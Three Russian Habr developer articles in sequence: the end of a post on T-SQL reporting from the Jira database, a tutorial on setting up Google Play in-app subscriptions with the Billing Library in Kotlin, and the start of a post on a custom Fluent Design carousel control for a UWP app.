oldString nvarchar(400), newString nvarchar(400), finishTime datetime ) insert into @historyTable(author, created, field, oldString, newString) select Author, CREATED, FIELD, OLDSTRING, NEWSTRING from changegroup with (nolock) join changeitem with (nolock) on changegroup.ID = changeitem.groupid where issueid = @jiraIssueId and FIELD = 'status' order by CREATED declare @statusHistory table ( id int identity(1,1), statusName nvarchar(500) ) insert into @statusHistory(statusName) select newString from @historyTable order by created declare @curStatus nvarchar(100) declare @curStatusId int while (exists(select 1 from @statusHistory)) begin select top(1)@curStatus = statusName, @curStatusId = id from @statusHistory set @totalWorkflow = @totalWorkflow + ' -> ' + @curStatus delete from @statusHistory where id = @curStatusId end select @totalWorkflow ``` На этом примере можно увидеть процесс движения работы «Open -> In Progress -> Resolved». Так мы узнали, что «реальных» путей жизненного цикла в нашей системе 42, но при этом 94% всех задач покрывается 4 путями жизненного цикла в саппорте. Или другой пример – построить таблицу, в которой будут указаны все проекты Jira (клиент просил, чтобы название столбца в отчете было CaseSource) и количество созданных задач в них, разбитых по неделе. ``` create procedure MonthlyCreatedProjectsStat(@startdate datetime) as begin declare @endDate dateTime = @startdate + 5*7 + 1 declare @weeklyResults table ( projectName nvarchar(10), weekCount int, number int ) insert into @weeklyResults(projectName, weekCount, number) select Pkey, weekNumber, count(1) as NumberOfCases from ( select project.pkey, datediff(day, @startDate, cast(created as date)) / 7 as weekNumber from jiraissue with (nolock) join project with (nolock) on jiraissue.PROJECT = project.ID where CREATED >= @startDate and CREATED < @endDate ) as SubQ group by Pkey, weekNumber order by Pkey, weekNumber select CaseSource, W1, W2, W3, W4, W5 from ( select projectName as CaseSource, [0] as 'W1', [1] as 'W2', [2] as 'W3', [3] as 'W4', [4] as 'W5' from (select projectName, weekCount, number from @weeklyResults) tab1 pivot (sum(number) for weekcount in ([0], [1], [2], [3], [4])) as Tab2 ) as SubQ order by SubQ.CaseSource end ``` Как видите, в целом ничего сложного. За исключением довольно редко используемого стандартного оператора pivot. Но он необходим, чтобы «повернуть» таблицу, и оформить каждую неделю отдельным столбцом. Для получения такого отчета необходимо выполнить всего 2 действия. При этом pivot в целом не нужен. Его пришлось использовать только из-за требований к оформлению отчета.  И еще один пример. Клиенту надо было понимать, сколько времени было потрачено на прохождение каждой стадии при обработке задачи в Jira. «Изюминка» задачи – в команде были разные роли людей, которые работают из разных стран и имеют различные KPI. Мы сразу поняли, что стандартными средствами Jira решить этот кейс было бы проблематично. По соображениям NDA мы не можем предоставить полный код решения этой задачи, но покажем часть, которая не содержит бизнес-логики. Она определяет, кто и сколько потратил времени на обработку задачи в минутах рабочего времени. ``` create function GetHistory(@jiraInternalId int) returns @historyTable table ( id int identity(1,1), author nvarchar(400), created datetime, field nvarchar(400), oldString nvarchar(400), newString nvarchar(400), finishTime datetime, processTimeInWorkingMinutes int ) as begin declare @processTimeCalc table ( id int ) declare @curProcessTimeId int insert into @historyTable(author, created, field, oldString, newString) select CREATOR, CREATED, 'status', '', 'Open' from jiraissue with (nolock) where id = @jiraInternalId insert into @historyTable(author, created, field, oldString, newString) select app_user.lower_user_name, CREATED, FIELD, OLDSTRING, NEWSTRING from changegroup with (nolock) join changeitem with (nolock) on changegroup.ID = changeitem.groupid join app_user with (nolock) on app_user.user_key = changegroup.AUTHOR where issueid = @jiraInternalId and FIELD = 'status' order by CREATED insert into @processTimeCalc(id) select id from @historyTable where finishTime is null while (exists(select 1 from @processTimeCalc)) begin select top(1) @curProcessTimeId = id from @processTimeCalc update @historyTable set finishTime = (select min(created) from @historyTable where id > @curProcessTimeId) where id = @curProcessTimeId delete from @processTimeCalc where id = @curProcessTimeId end Update @historyTable set processTimeInWorkingMinutes = dbo.GetWorkingMinutes(created, finishTime) where finishTime is not null Update @historyTable set processTimeInWorkingMinutes = dbo.GetWorkingMinutes(created, GetDate()) where finishTime is null and NewString <> 'Done' return end ``` Как видите, в этой функции используется только 2 «основных» и довольно простых запроса.  В этой статье мы привели несколько примеров того, как на первый взгляд сложная задача, которая должна решаться через плагины, может быть решена с помощью простых средств, например, обычного SQL. Конечно, в некотором роде надо иметь мужество, чтобы не «убежать» от такого варианта решения, когда видишь названия таблиц первых таблиц в Jira (для примера AO\_1B54DA\_JJLF). Исходя из соображений NDA, мы не можем привести части решений, которые содержат бизнес-логику нашего иностранного клиента. Но надеемся, что алгоритм вы поняли. ### Чем еще может быть полезна БД Jira Давайте отвлечемся от отчетов и посмотрим, где еще может быть полезна БД Jira.  Рассмотрим такой пример. На одном из проектов после релиза очередной версии резко увеличилось количество обращений в техподдержку из-за одного и того же бага. Стандартное количество обращений – один раз в 2-3 месяца, а после релиза это значение выросло до 14 в неделю.  Так как саппорт заводит задачи в Jira, можно обратиться к ее БД и с помощью несложных запросов QA-специалист может получить отчет о количестве обращений в саппорт. На его основе можно получить метрики, которые отражали бы качество работы команды QA. Если процент ошибок, попавших на прод, значительно выше, чем в предыдущих релизах, значит в процессе контроля качества что-то пошло не так. И это повод для команды QA проанализировать работу и учесть полученный опыт в будущем. Можно также отметить, что даже если у QA-специалиста нет доступа к БД Jira (например, из-за наличия конфиденциальных данных), то он все равно может использовать ее для снятия метрик. Он будет анализировать только результаты запросов, а сами запросы может периодически (раз в неделю, месяц или через какое-то время после релиза) выполнять тот член команды, у кого этот доступ есть. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/45a/a1e/9d7/45aa1e9d7031322fdaa4b9cb3727375d.png)### К каким выводам мы пришли в итоге 1. Требования бизнеса первичны и они часто вынуждают использовать не совсем стандартные подходы. В данном случае важнейшим требованием было ненарушение GDPR. 2. Никогда не надо бояться «работать с основами», даже если от первого взгляда на названия таблиц хочется убежать подальше. В данном случае основой Jira является БД.  3. Не надо забывать, что любая система написана человеком, поэтому там должна быть логика хранения данных. Она может быть странной, но она есть. И всегда можно исследовать её через сравнение количества записей в каждой таблице до и после изменений. 4. Хорошее решение необязательно должно использовать последнюю версию какого-либо дорогостоящего плагина. Решение будет подходящим, если его может поддерживать текущая команда, оно будет хорошо ложиться на уровень экспертизы команды и не потребует очень специализированных знаний. 5. Всегда следует начать с поиска особенностей бизнес-логики системы, которые могут упростить задачу. Вспомните наш пример. Перед нами стояла задача построения отчетов в Jira, чтобы клиент мог посмотреть необходимую статистику по саппорту. Мы использовали тот факт, что клиенту было достаточно видеть отчеты с задержкой не более 5 минут. С учетом того, что рабочий день (с учетом перерыва на обед) 9 часов, то последние 5 минут не могут играть особой роли.  Поэтому мы создали систему таблиц с заранее вычисленными значениями: если пользователь работал над задачей 10 минут и передал ее другому сотруднику, этот факт уже не изменится. Потом мы создали SQL Job и на основании таблиц changegroup и ChangeItem каждые 5 минут перевычисляли только изменившиеся задачи/значения. Это позволило избежать проблем перфоманса из-за довольно большого количества значений в отчетах и иногда странной структуры БД Jira. 6. Jira – система для работы людей, и, как правило, один человек не может генерировать 100 записей за секунду работы. Поэтому не надо добавлять в требования «жесткий» перфоманс, т.е. не нужно заниматься оптимизацией производительности. Нет разницы, если вычисление делается за 0,1 секунды или за 5 секунд – человек все равно работает медленнее. 7. Пример с метриками мы привели, чтобы показать, что область использования данных, полученных напрямую из БД Jira, не ограничивается составлением отчетов. 8. Очень важно более глубинное понимание того, как работает любой инструментарий. Способность нестандартно работать с ним, используя необычные методы, – признак профессионализма. Базовые инструменты, на примере Jira, могут стать хорошим средством интеграции усилий support-команды и QA. Они могут воплотиться в эффективный способ улучшения качества работы с support-запросами и оценкой качества тестирования системы в целом. Сюда относятся: количество наиболее проблемных запросов, категоризация запросов и другие более сложные кейсы, которые могут потребоваться по бизнес-логике для замены плагина Jira. Осуществляя, например, анализ меток, закладывая выражения через SQL для более сложного извлечения данных из Jira, можно получить информацию о состоянии проекта в целом.  Ну и главное, не надо бояться применять новые подходы, если они используют «основы» бизнес-области, и тогда все получится :) О том, как мы работаем с Jira, рассказываем [тут](https://s.simbirsoft.com/8kGR). Больше кейсов и полезных материалов для владельцев продуктов - в нашем [ВК](https://vk.com/simbirsoft) и [Telegram](https://t.me/simbirsoft_depthdev).
https://habr.com/ru/post/683006/
null
ru
null
# Android in-app purchases, часть 1: конфигурация и добавление в проект Всем привет, меня зовут Влад и я разработчик [Android SDK для обработки платежей в мобильных приложениях](https://github.com/adaptyteam/AdaptySDK-Android) в Adapty. Внутренние покупки и в частности подписки являются наиболее популярным способом монетизировать приложение. С одной стороны, подписка дает разработчику возможность постоянно развивать контент и продукт, с другой стороны, благодаря им пользователь получает более высокое качество приложения в целом. Внутренние покупки [облагаются 30% комиссией](https://support.google.com/googleplay/android-developer/answer/112622?hl=en), но если пользователь подписан больше года или приложение [зарабатывает меньше $1М в год](https://support.google.com/googleplay/android-developer/answer/10632485), то комиссия составляет 15%. Это первая статья из серии, посвящённой работе с внутренними покупками на Android. В этой серии мы охватываем темы от создания in-app purchases до серверной верификации платежей: 1. Android in-app purchases часть 1: конфигурация и добавление в проект. - Вы тут 2. [Android in-app purchases часть 2: инициализация и обработка покупок.](https://habr.com/ru/company/adapty/blog/571122/) 3. [Android in-app purchases, часть 3: получение активных покупок и смена подписки.](https://habr.com/ru/company/adapty/blog/573058/) 4. [Android in-app purchases, часть 4: коды ошибок от Billing Library и как не облажаться с тестированием.](https://habr.com/ru/company/adapty/blog/575866/) 5. [Android in-app purchases, часть 5: серверная валидация покупок.](https://habr.com/ru/company/adapty/blog/576164/) В этой статье мы разберём, как: * создавать продукты в Google Play Console; * конфигурировать подписки: указывать длительность, стоимость, пробные периоды; * получать список продуктов в приложении. ### Создание подписки/покупки Перед тем, как мы начнем, убедитесь, что 1. У вас есть [аккаунт разработчика в Google Play](https://support.google.com/googleplay/android-developer/answer/7161426?hl=en). 2. Вы подписали все соглашения и готовы работать. Перейдем к делу, а именно создадим наш первый продукт. Переходим в наш [аккаунт разработчика](https://play.google.com/apps/publish) и выбираем нужное приложение. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/34a/695/2d1/34a6952d165fcd87747dd647d8d4729f.jpeg)Дальше в левом меню ищем секцию Продукты, выбираем *Подписки* и жмем на *Создать Подписку*. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/509/896/1d4/5098961d48f6864be101a8034aa85eb3.png)Дальше попадаем в конфигуратор подписки, разберем важные вещи. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/8aa/c7f/28c/8aac7f28c5c1b2e6e8a15749a52dff83.jpeg)1. Создаем ID, *который потом используем в приложении*. Хорошо, когда в ID мы кодируем период подписки и какую-то еще полезную информацию. Это позволяет создавать продукты в одном стиле, чтобы в будущем было проще анализировать статистику по покупкам. 2. Название подписки, как пользователь ее увидит в магазине. 3. Описание подписки, пользователь тоже это увидит. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2c4/565/b66/2c4565b665788a82bad2726fd137330f.png)Скроллим ниже и выбираем период подписки, в нашем случае это неделя, и конфигурируем стоимость. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/99b/154/998/99b154998eb029cc3d778204f70b7197.png)Обычно вы задаете цену в базовой валюте аккаунта, а система автоматически переводит цены в разные валюты разных стран. Но вы также можете поправить цену в конкретной стране вручную. Обратите внимание, что Google сразу указывает налог в каждой стране, это очень круто, а в App Store Connect такого нет. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d1/85a/f38/7d185af38cbdb8fb3fd7e5e68ea6fb94.png)Скроллим ниже и опционально выбираем: 1. Бесплатный пробный период. 2. Начальная цена. Промо-предложение на первые периоды оплаты. 3. «Льготный период». То есть, если у пользователя проблема с оплатой, сколько дней вы продолжаете давать ему премиум доступ. 4. Возможность подписаться заново из Play Market, а не из приложения, после отмены подписки. ### Сравнение процесса покупки с App Store Connect Несмотря на то, что подписки значительно лучше монетизируются на iOS, админка Play Console выглядит намного удобнее. Она работает быстрее, лучше и проще структурирована, качественно локализована. Сам процесс создания продукта предельно упрощен. [Здесь](https://habr.com/ru/company/adapty/blog/507664/) мы описали, как создавать продукты на iOS. ### Получение списка продуктов в приложении После создания продуктов перейдем к созданию архитектуры в приложении для приема и обработки покупок. В целом процесс следующий: 1. Подключаем платежную библиотеку. 2. Разрабатываем структуру класса для взаимодействия с продуктами из Google Play. 3. Реализуем все методы обработки покупки. 4. Подключаем серверную верификацию покупки. 5. Собираем аналитику. В этой части разберем первые два пункта. Подключим Billing Library к проекту: `implementation "com.android.billingclient:billing:4.0.0"` *На момент написания статьи актуальной версией является 4.0.0. Вы можете в любой момент заменить ее на другую версию.* Создадим класс-обертку, который будет инкапсулировать логику взаимодействия с Google Play, и проинициализируем в нем BillingClient из библиотеки Billing Library. Назовем такой класс BillingClientWrapper. Наш класс будет реализовывать интерфейс PurchasesUpdatedListener. Мы сразу переопределим его метод `onPurchasesUpdated(billingResult: BillingResult, purchaseList: MutableList?)`, который вызывается после совершения покупки, но саму реализацию опишем уже в следующей статье. ``` import android.content.Context import com.android.billingclient.api.* class BillingClientWrapper(context: Context) : PurchasesUpdatedListener { private val billingClient = BillingClient .newBuilder(context) .enablePendingPurchases() .setListener(this) .build() override fun onPurchasesUpdated(billingResult: BillingResult, purchaseList: MutableList?) { // here come callbacks about new purchases } } ``` Google [рекомендует](https://developer.android.com/google/play/billing/integrate#initialize), чтобы одновременно было не больше одного активного соединения BillingClient’а с Google Play, чтобы колбэк о совершенной покупке не вызывался несколько раз. Для этого целесообразно иметь единственный экземпляр BillingClient в классе-синглтоне. Класс в примере выше сам по себе синглтоном не является, но мы можем провайдить его с помощью [dependency injection](https://en.wikipedia.org/wiki/Dependency_injection) (например, используя [Dagger](https://developer.android.com/training/dependency-injection/dagger-android) или [Koin](https://insert-koin.io/docs/quickstart/android/)) таким образом, чтобы в один момент времени существовало не больше одного экземпляра. Для совершения любого запроса с помощью Billing Library нужно, чтобы у BillingClient’а в момент запроса было активное соединение с Google Play, но в какой-то момент оно может быть утеряно. Для удобства напишем обертку, чтобы любой запрос выполнялся только при активном соединении. ``` private fun onConnected(block: () -> Unit) { billingClient.startConnection(object : BillingClientStateListener { override fun onBillingSetupFinished(billingResult: BillingResult) { block() } override fun onBillingServiceDisconnected() { // Try to restart the connection on the next request to // Google Play by calling the startConnection() method. } }) } ``` Чтобы получить продукты, нам нужно знать их идентификаторы, которые мы задавали в маркете. Но для запроса этого недостаточно, нужно указать еще и тип продуктов (подписки или разовые покупки), поэтому общий список продуктов мы можем получить только путем «склеивания» результатов двух запросов. Так как запрос на продукты асинхронный, нам нужен колбэк, в котором мы получим либо список продуктов, либо ошибку. Billing Library при ошибке [возвращает](https://developer.android.com/reference/com/android/billingclient/api/BillingResult) один из определенных в ней [BillingResponseCode](https://developer.android.com/reference/com/android/billingclient/api/BillingClient.BillingResponseCode#summary), а также debugMessage. Создадим интерфейс колбэка и модель для ошибки: ``` interface OnQueryProductsListener { fun onSuccess(products: List < SkuDetails > ) fun onFailure(error: Error) } class Error(val responseCode: Int, val debugMessage: String) ``` Напишем приватный метод для получения данных о продуктах конкретного типа, а также публичный метод, который «склеит» результаты от двух запросов и вернет итоговый список продуктов или ошибку. ``` fun queryProducts(listener: OnQueryProductsListener) { val skusList = listOf("premium_sub_month", "premium_sub_year", "some_inapp") queryProductsForType( skusList, BillingClient.SkuType.SUBS ) { billingResult, skuDetailsList -> if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) { val products = skuDetailsList ?: mutableListOf() queryProductsForType( skusList, BillingClient.SkuType.INAPP ) { billingResult, skuDetailsList -> if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) { products.addAll(skuDetailsList ?: listOf()) listener.onSuccess(products) } else { listener.onFailure( Error(billingResult.responseCode, billingResult.debugMessage) ) } } } else { listener.onFailure( Error(billingResult.responseCode, billingResult.debugMessage) ) } } } private fun queryProductsForType( skusList: List, @BillingClient.SkuType type: String, listener: SkuDetailsResponseListener ) { onConnected { billingClient.querySkuDetailsAsync( SkuDetailsParams.newBuilder().setSkusList(skusList).setType(type).build(), listener ) } } ``` Таким образом мы получили информацию о продуктах ([SkuDetails](https://developer.android.com/reference/com/android/billingclient/api/SkuDetails)), где есть локализованные названия, цены, тип продукта, а для подписок еще и период платежа, а также информация о начальной цене и пробном периоде (если доступно данному пользователю). Финальный класс выглядит так: ``` import android.content.Context import com.android.billingclient.api.* class BillingClientWrapper(context: Context) : PurchasesUpdatedListener { interface OnQueryProductsListener { fun onSuccess(products: List) fun onFailure(error: Error) } class Error(val responseCode: Int, val debugMessage: String) private val billingClient = BillingClient .newBuilder(context) .enablePendingPurchases() .setListener(this) .build() fun queryProducts(listener: OnQueryProductsListener) { val skusList = listOf("premium\_sub\_month", "premium\_sub\_year", "some\_inapp") queryProductsForType( skusList, BillingClient.SkuType.SUBS ) { billingResult, skuDetailsList -> if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) { val products = skuDetailsList ?: mutableListOf() queryProductsForType( skusList, BillingClient.SkuType.INAPP ) { billingResult, skuDetailsList -> if (billingResult.responseCode == BillingClient.BillingResponseCode.OK) { products.addAll(skuDetailsList ?: listOf()) listener.onSuccess(products) } else { listener.onFailure( Error(billingResult.responseCode, billingResult.debugMessage) ) } } } else { listener.onFailure( Error(billingResult.responseCode, billingResult.debugMessage) ) } } } private fun queryProductsForType( skusList: List, @BillingClient.SkuType type: String, listener: SkuDetailsResponseListener ) { onConnected { billingClient.querySkuDetailsAsync( SkuDetailsParams.newBuilder().setSkusList(skusList).setType(type).build(), listener ) } } private fun onConnected(block: () -> Unit) { billingClient.startConnection(object : BillingClientStateListener { override fun onBillingSetupFinished(billingResult: BillingResult) { block() } override fun onBillingServiceDisconnected() { // Try to restart the connection on the next request to // Google Play by calling the startConnection() method. } }) } override fun onPurchasesUpdated(billingResult: BillingResult, purchaseList: MutableList?) { // here come callbacks about new purchases } } ``` На этом все, в следующих статьях мы расскажем о реализации покупок, тестировании и обработке ошибок. Про Adapty ---------- Как видите, в процессе добавления покупок в приложения на Android много нюансов. Если использовать готовые библиотеки, всё будет проще. Советую познакомиться с [Adapty — SDK для in-app покупок](https://adapty.io/sdk/android?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_configuration-and-adding). Он не только упрощает работу по добавлению покупок: * [Встроенная аналитика](https://adapty.io/subscription-analytics?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_configuration-and-adding) позволяет быстро понять основные метрики приложения. * Когортный анализ отвечает на вопрос, [как быстро сходится экономика.](https://habr.com/ru/company/adapty/blog/564748/) * А/Б тесты увеличивают выручку приложения. * Интеграции с внешними системами позволяют отправлять транзакции в сервисы атрибуции и продуктовой аналитики. * [Промо-кампании](https://adapty.io/return-subscribers?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_ios-iap_configuration-and-adding) уменьшают отток аудитории. * Open source SDK позволяет интегрировать подписки в приложение за несколько часов. * Серверная валидация и API для работы с другими платформами. [Познакомьтесь подробнее с этими возможностями](https://adapty.io?utm_source=habr.com&utm_medium=referral&utm_campaign=blogpost_android_configuration-and-adding), чтобы быстрее внедрить подписки в своё приложение и улучшить конверсии.
https://habr.com/ru/post/568902/
null
ru
null
# Как мы делали приложение под Windows 10 с Fluent Design (UWP/C#) Мы в ivi давно собирались обновить наше приложение под Windows 10 (которое для ПК и планшетов). Мы хотели сделать его эдаким «уютным» уголком для отдыха. И поэтому анонсированная недавно Microsoft-ом концепция [fluent design](https://fluent.microsoft.com/) пришлась нам очень кстати. Но я не буду здесь рассказывать про стандартные компоненты, предлагаем Microsoft-ом для fluent design-а ([Acrylic](https://docs.microsoft.com/en-us/windows/uwp/design/style/acrylic), [Reveal](https://docs.microsoft.com/en-us/windows/uwp/design/style/reveal), [Connected-анимации](https://docs.microsoft.com/en-us/windows/uwp/design/motion/connected-animation) и др.), хотя мы их, конечно, используем тоже. С ними всё просто и понятно — бери документацию и пользуйся.  Но приключения обычно начинаются тогда, когда ты уходишь с проторенной дорожки. Поэтому я лучше расскажу про то, как мы делали один кастомный контрол, который доставил нам много хлопот. Вот такой: ![image](https://habrastorage.org/webt/s2/_2/67/s2_267wfn0gm9qrfiemllv2yzti.gif) Идея в том, что мы используем depth и motion из fluent design system. Центральный элемент как бы слегка приподнимается надо всеми остальными. Это достигается за счёт анимации его размера и тени во время скролла.  Контрол [FlipView](https://docs.microsoft.com/en-us/windows/uwp/design/controls-and-patterns/flipview) сразу не подошёл, т.к. он не умеет показывать кусочки следующего и предыдущего элементов (мы их называем «ушами»). И мы начали поиски решения. Путь 1. Пробуем использовать GridView ------------------------------------- Логичным решением было попробовать использовать [GridView](https://docs.microsoft.com/en-us/windows/uwp/design/controls-and-patterns/listview-and-gridview). Чтобы выстроить элементы в горизонтальную строку задаём в качестве ItemsPanel задаём: Чтобы центрировать текущий элемент используем свойства ScrollViewer-а в шаблоне GridView:  Пример такой реализации можно посмотреть, например, [здесь](http://fruitfulcoding.com/horizontal-swiping-in-listviewbase-control-with-mandatory-centered-snap-points/). Вроде всё ок, но есть проблемы. ### GridView. Проблема 1. масштабирование контрола на всю ширину экрана По задумке дизайнеров наш контрол должен тянуться на всю ширину окна. Само по себе это не проблема. Но при изменении размера контрола должны синхронно изменяться и размеры всех его дочерних элементов (Items): * Ширину элементов надо устанавливать в 90% ширины контрола (10% оставляем на «уши»); * Высоту элементов надо рассчитывать исходя из ширины и пропорций изображения; * При этом на малой ширине экрана нужно обрезать изображение слева и справа, чтобы оно не стало слишком мелким после масштабирования. ![image](https://habrastorage.org/r/w780q1/webt/ua/lo/xr/ualoxruqcxfkgzu4esxyuqmtr90.jpeg) Из коробки GridView такого не умеет. Решение мы подсмотрели в реализации контрола [AdaptiveGridView из UWPToolkit](https://docs.microsoft.com/en-us/windows/uwpcommunitytoolkit/controls/adaptivegridview): * Наследуемся от GridView и добавляем два свойства: ItemWidth и ItemHeight; * В обработчике события SizeChanged рассчитываем эти свойства в зависимости от ширины GridView; * Переопределяем метод PrepareContainerForItemOverride у GridView. Он вызывается для каждого ItemContainer-а прежде, чем тот будет показан пользователю. И добавляем для каждого item-а биндинги на созданные нами ItemWidth и ItemHeight: ``` protected override void PrepareContainerForItemOverride(DependencyObject obj, object item) { base.PrepareContainerForItemOverride(obj, item); if (obj is FrameworkElement element) { var heightBinding = new Binding() { Source = this, Path = new PropertyPath("ItemHeight"), Mode = BindingMode.TwoWay }; var widthBinding = new Binding() { Source = this, Path = new PropertyPath("ItemWidth"), Mode = BindingMode.TwoWay }; element.SetBinding(HeightProperty, heightBinding); element.SetBinding(WidthProperty, widthBinding); } } ``` Более подробно реализацию можно посмотреть [в исходниках UWPToolkit](https://github.com/Microsoft/UWPCommunityToolkit/tree/master/Microsoft.Toolkit.Uwp.UI.Controls/AdaptiveGridView). Вроде всё ок, работает. Но… ### GridView. Проблема 2. При изменении размера item-ов текущий элемент уходит из области видимости Но как только мы начинаем динамически изменять ширину элементов внутри GridView, мы сталкиваемся со следующей проблемой. В этот момент в видимую область начинает попадать совсем другой элемент. Это происходит из-за того, что HorizontalOffset у ScrollViewer-а внутри GridView остаётся неизменным. GridView не предполагает такого подвоха от нас.  ![image](https://habrastorage.org/r/w1560/webt/cf/zb/hr/cfzbhrqnk-q4owqrz8odr89uv-m.png) Особенно сильно эффект заметен при максимизации окна (из-за резкого изменения размеров). И ещё при просто больших значениях HorizontalOffset. Казалось бы можно было бы это проблему решить попросив GridView проскроллиться к нужному элементу: ``` private async void OnSizeChanged(object sender, SizeChangedEventArgs e) { ... await Task.Yield(); this.ScrollIntoView(getCurrentItem(), ScrollIntoViewAlignment.Default); } ``` Но нет: * Без использования Task.Yield() это не работает. А с ним — приводит к некрасивому визуальному подергиванию — т.к. другой элемент успевает отобразиться прежде, чем отработает ScrollIntoView. * А при включенных SnapPoints ScrollIntoView почему-то в принципе работает некорректно. Как будто застревает на них. Ещё это можно было бы решить, вручную вычисляя и устанавливая новое значение HorizontalOffset у ScrollViewer-а при каждом изменении размера нашего GridView: ``` private void OnSizeChanged(object sender, SizeChangedEventArgs e) { ... var scrollViewer = this.FindDescendant(); scrollViewer.ChangeView(calculateNewHorizontalOffset(...), 0, 1, true); } ``` Но это работает только при постепенном изменении размера окна. При максимизации окна это часто даёт неправильный результат. Скорее всего, причина в том, что новое рассчитанное нами значение HorizontalOffset оказывается слишком большим и выходит за границы ExtentWidth (ширины контента внутри ScrollViewer-а). А т.к. GridView использует [UI-виртуализацию](https://docs.microsoft.com/en-us/windows/uwp/debug-test-perf/optimize-gridview-and-listview), то автоматически после изменения ширины Item-ов ExtentWidth может не пересчитываться.  В общем, адекватного решения этой проблемы найти не удалось.  На этом можно было бы остановиться и начать поиск следующего варианта решения. Но я опишу ещё одну проблему с этим подходом. ### GridView. Проблема 3. Вложенные ScrollViewer-ы ломают горизонтальный скроллинг мышкой Мы хотим, чтобы колёсико мышки всегда выполняло скроллинг по вертикали. Всегда. По вертикали. Но если мы ставим на страницу GridView с горизонтальной прокруткой, то находящийся в его недрах ScrollViewer захватывает события колёсика мышки на себя и не пропускает выше. В итоге, если курсор мышки находится над нашим контролом-листалкой, то колёсико мышки делает горизонтальный скролл в нём. Это неудобно и запутывает пользователей: ![image](https://habrastorage.org/r/w780q1/webt/yh/al/ka/yhalkan0vujpd5ighiew987ahr8.jpeg) Решений у этой проблемы два: * Ловить событие PointerWheelChanged до его попадания в горизонтальный ScrollViewer и в ответ на него вызывать ChangeView() у вертикального ScrollViewer-а. Подсмотрено [здесь](https://stackoverflow.com/questions/37122576/uwp-disable-mouse-scroll-in-grid-view). Это работает, но заметно тормозит при быстром вращении колёсика мыши. Нам не подошло — портить скролл мышкой ради редких пользователей с touch screen — не вариант. * Установить `HorizontalScrollMode="Disabled"`. Это помогает, но это отключает не только колёсико мышки, но скроллинг через touch screen. ``` ``` Touch screen терять не хотелось и мы продолжили поиск более хорошего решения. Путь 2. Carousel из UWPToolkit ------------------------------ Следующим вариантом решения стал контрол [Carousel из UWPToolkit](https://docs.microsoft.com/en-us/windows/uwpcommunitytoolkit/controls/carousel). Со всех сторон очень интересный и познавательный контрол. Рекомендую всем для изучения его реализацию. Он довольно неплохо закрывал наши потребности. Но в итоге тоже не подошёл: * В нём отсутствует масштабирование элементов при изменении ширины (см. выше): + Это решаемся проблема. Т.к. он open source. И добавить в него масштабирование будет не сложно. + И даже проблема сохранения текущего элемента в области видимости после масштабирования тоже решаемая, опять же благодаря open source реализации. * Отсутствует [UI-виртуализация](https://docs.microsoft.com/en-us/windows/uwp/debug-test-perf/optimize-gridview-and-listview): + Carousel использует свою собственную реализацию ItemsPanel. И поддержки UI-виртуализации в ней нет; + Это довольно критичная для нас штука, т.к. промо-материалов в листалке у нас может быть довольно много и это сильно влияет на время загрузки страницы; + Да, это, наверно, тоже реализуемо. Но уже не выглядит простым. * Он использует анимации на UI-потоке (Storyboard-ы и события Manipulation\*), что, по определению, не всегда достаточно плавно. Т.е. получается, что нужно потратить довольно много времени на доработку этого контрола под наши нужды (одна UI-виртуализация чего стоит). При этом на выходе мы получим штуку с потенциально подтормаживающими анимациями.  В общем, от этого подхода мы тоже решили отказаться. Если уж тратить время, то будем делать по уму. Путь 3. Наша реализация ----------------------- ### Делаем «TOUCH ONLY» ScrollViewer Напомню, что стандартный ScrollViewer мы использовать не хотим, из-за того, что он захватывает все события от колёсика мышки (см. выше раздел «GridView. Проблема 3»). Реализацию из Carousel нам не нравится, т.к. использует анимации на UI-потоке, а предпочтительный для UWP-приложений способ создания анимаций — это [Composition-анимации](https://docs.microsoft.com/en-us/windows/uwp/composition/composition-animation). Их отличие от более привычных Storyboard-ов в том, что они работают на отдельном Composition-потоке и за счёт этого обеспечивают 60 кадров/сек даже тогда, когда UI поток чем-то занят. Для реализации нашей задачи нам понадобится [InteractionTracker](https://docs.microsoft.com/en-us/windows/uwp/composition/interaction-tracker-manipulations) — компонент, который позволяет использовать touch-ввод в качестве источника для анимаций. Собственно, первое, что нам нужно научиться делать — это перемещать UI-элементы по горизонтали в зависимости от перемещения пальца по экрану. Фактически, нам придётся начать с реализации своего кастомного ScrollViewer-а. Так и назовём его — TouchOnlyScrollViewer: ``` public class TouchOnlyScrollerViewer : ContentControl { private Visual _thisVisual; private Compositor _compositor; private InteractionTracker _tracker; private VisualInteractionSource _interactionSource; private ExpressionAnimation _positionExpression; private InteractionTrackerOwner _interactionTrackerOwner; public double HorizontalOffset { get; private set; } public event Action ViewChanging; public event Action ViewChanged; public TouchOnlyScrollerViewer() { initInteractionTracker(); Loaded += onLoaded; PointerPressed += onPointerPressed; } private void initInteractionTracker() { // Инициализируем InteractionTracker и VisualInteractionSource \_thisVisual = ElementCompositionPreview.GetElementVisual(this); \_compositor = \_thisVisual.Compositor; \_tracker = InteractionTracker.Create(\_compositor); \_interactionSource = VisualInteractionSource.Create(\_thisVisual); \_interactionSource.PositionXSourceMode = InteractionSourceMode.EnabledWithInertia; \_tracker.InteractionSources.Add(\_interactionSource); // Создаём тривиальную Expression-анимацию, которая в качестве источника // использует touch-смещение из InteractionTracker \_positionExpression = \_compositor.CreateExpressionAnimation("-tracker.Position"); \_positionExpression.SetReferenceParameter("tracker", \_tracker); } private void onLoaded(object sender, RoutedEventArgs e) { // Привязываем нашу анимацию к свойству Offset дочернего UIElement-а var visual = ElementCompositionPreview.GetElementVisual((UIElement)Content); visual.StartAnimation("Offset", \_positionExpression); } private void onPointerPressed(object sender, PointerRoutedEventArgs e) { // перенаправляем touch-ввод в composition-поток if (e.Pointer.PointerDeviceType == PointerDeviceType.Touch) { try { \_interactionSource.TryRedirectForManipulation(e.GetCurrentPoint(this)); } catch (Exception ex) { Debug.WriteLine("TryRedirectForManipulation: " + ex.ToString()); } } } } ``` Здесь пока всё строго по доке от Mircosoft. Разве что вызов TryRedirectForManipulation пришлось обернуть в try-catch потому что он иногда кидает внезапные исключения. Это случается 